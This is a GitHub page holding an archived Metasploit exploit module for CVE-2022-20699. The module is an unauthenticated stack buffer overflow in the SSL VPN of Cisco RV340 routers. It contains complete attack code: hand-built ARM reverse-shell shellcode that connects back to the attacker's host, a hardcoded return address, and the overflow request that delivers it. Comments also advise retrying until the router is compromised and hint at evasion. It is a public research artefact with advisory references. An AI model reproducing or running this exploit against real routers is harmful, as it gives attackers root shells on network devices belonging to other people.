-
Notifications
You must be signed in to change notification settings - Fork 167
/
cisco_rv340_sslvpn.rb
289 lines (273 loc) · 11 KB
/
cisco_rv340_sslvpn.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# NOTE !!!
# This exploit is kept here for archiving purposes only.
# Please refer to and use the version that has been accepted into the Metasploit framework.
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco RV340 SSL VPN Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits a stack buffer overflow in the Cisco RV series routers SSL VPN
functionality. The default SSL VPN configuration is exploitable, with no authentication
required and works over the Internet!
The stack is executable and no ASLR is in place, which makes exploitation easier.
Successful execution of this module results in a reverse root shell. A custom payload is
used as Metasploit does not have ARMLE null free shellcode.
This vulnerability was presented by the Flashback Team in Pwn2Own Austin 2021 and OffensiveCon
2022. For more information check the referenced advisory.
This module has been tested in firmware versions 1.0.03.15 and above and works with around
65% reliability. The service restarts automatically so you can keep trying until you pwn it.
Only the RV340 router was tested, but other RV series routers should work out of the box.
},
'Author' => [
'Pedro Ribeiro <pedrib@gmail.com>', # Vulnerability discovery and Metasploit module
'Radek Domanski <radek.domanski[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'References' => [
['CVE', '2022-20699'],
['URL', 'https://www.youtube.com/watch?v=O1uK_b1Tmts'],
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Austin_2021/flashback_connects/flashback_connects.md'],
['URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Austin2021/flashback_connects/flashback_connects.md'],
['URL', 'https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-smb-mult-vuln-KA9PK6D.html'],
],
'Arch' => ARCH_ARMLE,
# We actually use our own shellcode because Metasploit doesn't have ARM encoders!
'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' },
'Targets' => [
[
'Cisco RV340 Firmware Version <= 1.0.03.24',
{
# Shellcode location on stack (rwx stack, seriously Cisco...)
# The same for all vulnerable firmware versions: 0x704aed98 (+ 1 for thumb)
#
# NOTE: this is the shellcode location about 65% of the time. The rest is at
# The remaining 35% will land at 0x704f6d98, causing this sploit will fail.
# There's no way to guess it, but the service will restart again, so let's stick
# with the most common stack address.
'Shellcode' => "\x99\xed\x4a\x70"
}
],
],
'DisclosureDate' => '2022-02-02',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => CRASH_SERVICE_RESTARTS,
# repeatable... but only works 65% of the time, see comments above
'Reliability' => REPEATABLE_SESSION,
'SideEffects' => nil
}
)
)
register_options(
[
Opt::RPORT(8443),
OptBool.new('SSL', [true, 'Use SSL', true])
]
)
end
def check
# This should return a string like:
# "The Cisco AnyConnect VPN Client is required to connect to the SSLVPN server." (plus another phrase)
res = send_request_cgi({ 'uri' => '/login.html' })
if res && res.code == 200 && res.body.include?('The Cisco AnyConnect VPN Client is required to connect to the SSLVPN server')
Exploit::CheckCode::Detected
else
Exploit::CheckCode::Unknown
end
end
def hex_to_bin(int)
hex = int.to_s(16)
if (hex.length == 1) || (hex.length == 3)
hex = '0' + hex
end
hex.scan(/../).map { |x| x.hex.chr }.join
end
def prep_shelly
# We need to roll our own shellcode, as Metasploit doesn't have encoders for ARMLE.
# A null free shellcode is needed, as this memory corruption is done through `strcat()`
#
# SHELLCODE_START:
# // Original shellcode from Azeria's blog
# // Expanded and Improved by the Flashback Team
# .global _start
# _start:
# .THUMB
# // socket(2, 1, 0)
# mov r0, #2
# mov r1, #1
# sub r2, r2
# mov r7, #200
# add r7, #81 // r7 = 281 (socket)
# svc #1 // r0 = resultant sockfd
# mov r4, r0 // save sockfd in r4
#
# // connect(r0, &sockaddr, 16)
# adr r1, struct // pointer to address, port
# strb r2, [r1, #1] // write 0 for AF_INET
# mov r2, #16
# add r7, #2 // r7 = 283 (connect)
# svc #1
#
# // dup2(sockfd, 0)
# mov r7, #63 // r7 = 63 (dup2)
# mov r0, r4 // r4 is the saved sockfd
# sub r1, r1 // r1 = 0 (stdin)
# svc #1
# // dup2(sockfd, 1)
# mov r0, r4 // r4 is the saved sockfd
# mov r1, #1 // r1 = 1 (stdout)
# svc #1
# // dup2(sockfd, 2)
# mov r0, r4 // r4 is the saved sockfd
# mov r1, #2 // r1 = 2 (stderr)
# svc #1
#
# // execve("/bin/sh", 0, 0)
# adr r0, binsh
# sub r2, r2
# sub r1, r1
# strb r2, [r0, #7]
# push {r0, r2}
# mov r1, sp
# cpy r2, r1
# mov r7, #11 // r7 = 11 (execve)
# svc #1
#
# eor r7, r7, r7
#
# struct:
# .ascii "\x02\xff" // AF_INET 0xff will be NULLed
# .ascii "\x11\x5d" // port number 4445
# .byte 5,5,5,1 // IP Address
# binsh:
# .ascii "/bin/shX"
# SHELLCODE_END
#
# Since we need to be null free, we have a very specific corner case, for addresses:
# X.0.Y.Z
# X.Y.0.Z
# X.Y.Z.0
# X.0.0.Y
# X.Y.0.0
# X.0.Y.0
# X.0.0.0
# These will contain a null byte for the each zero in the address.
#
# To fix this we add additional instructions to the shellcode and replace the null byte(s).
# adr r1, struct // pointer to address, port
# strb r2, [r1, #5] // write 0 for X.0.Y.Z (second octet)
# adr r1, struct // pointer to address, port
# strb r2, [r1, #6] // write 0 for X.Y.0.Z (third octet)
# adr r1, struct // pointer to address, port
# strb r2, [r1, #7] // write 0 for X.Y.Z.0 (last octet)
#
# The following is used to convert LHOST and LPORT for shellcode inclusion
lport_h = hex_to_bin(lport)
lhost_h = ''
jump = 0xc
datastore['LHOST'].split('.').each do |n|
octet = hex_to_bin(n.to_i)
if octet == "\x00"
# Why we do this? Check comments below my fren
jump += 1
end
lhost_h += octet
end
lhost_h = lhost_h.force_encoding('binary')
# As part of the shellcode, we need to do:
# adr r1, struct // pointer to address, port
# strb r2, [r1, #1] // write 0 for AF_INET
#
# In order to do the "adr", we need to know where "struct" is. On an unmodified
# shellcode, this is "\x0c\xa1\x4a\x70".
# But if we have one or more null bytes in the LHOST, we need to add more instructions.
# This means the "\x0c", the distance from $pc to "struct, is going to be either
# "\x0d, "\x0e" or "\x0f".
# Long story short, this distance is the jump variable, and we need to calculate it
# properly the more instructions we add.
#
# This is our jump, now calculated with the additional (or not) instructions:
ins = hex_to_bin(jump) + "\xa1\x4a\x70"
jump -= 1
# And now we calculate all the null bytes we have, replace them with \xff and add
# the proper jump:
for i in 1..3 do
next unless lhost_h[i] == "\x00"
ins_add = ''
lhost_h[i] = "\xff"
if i == 1
# strb r2, [r1, #5] // write 0 for X.0.Y.Z (second octet)
ins_add = "\x4a\x71"
elsif i == 2
# strb r2, [r1, #6] // write 0 for X.Y.0.Z (third octet)
ins_add = "\x8a\x71"
elsif i == 3
# strb r2, [r1, #7] // write 0 for X.Y.Z.0 (last octet)
ins_add = "\xca\x71"
end
ins += hex_to_bin(jump) + "\xa1" + ins_add
jump -= 1
end
ins = ins.force_encoding('binary')
shellcode = "\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c" + ins +
"\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21" \
"\x01\xdf\x20\x1c\x02\x21\x01\xdf\x06\xa0\x92\x1a\x49\x1a\xc2\x71\x05\xb4" \
"\x69\x46\x0a\x46\x0b\x27\x01\xdf\x7f\x40\x02\xff" + lport_h + lhost_h +
"\x2f\x62\x69\x6e\x2f\x73\x68\x58"
shelly = shellcode + rand_text_alphanumeric(16400 - shellcode.length) + target['Shellcode']
shelly
end
def sock_get(app_host, app_port)
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp(
{ 'PeerHost' => app_host, 'PeerPort' => app_port, 'Context' => ctx, 'Timeout' => 10 }
)
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
sock.close if sock
end
if sock.nil?
fail_with(Failure::Unknown, 'Failed to connect to the chosen application')
end
# also need to add support for old ciphers
ctx = OpenSSL::SSL::SSLContext.new
ctx.min_version = OpenSSL::SSL::SSL3_VERSION
ctx.security_level = 0
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
s = OpenSSL::SSL::SSLSocket.new(sock, ctx)
s.sync_close = true
s.connect
return s
end
def exploit
print_status("#{peer} - Pwning #{target.name}")
payload = prep_shelly
begin
sock = sock_get(rhost, rport)
# With the base request, our shellcode will be about 0x12a from $sp when we take control.
#
# But we noticed that by adding more filler in the request we can have better reliability.
# So let's use 0x86 as filler and dump the filler in the URL! This number is arbitrary and
# can be increased / decreased, but we find 0x86 works well.
# (this means our shellcode address in the target definition above is $sp + 0x12a + 0x86)
#
# It would be good to add some valid headers with semi random data for proper evasion :D
http = 'POST /' + rand_text_alphanumeric(0x86) + " HTTP/1.1\r\nContent-Length: 16404\r\n\r\n"
sock.write(http)
sock.write(payload)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
end
end
end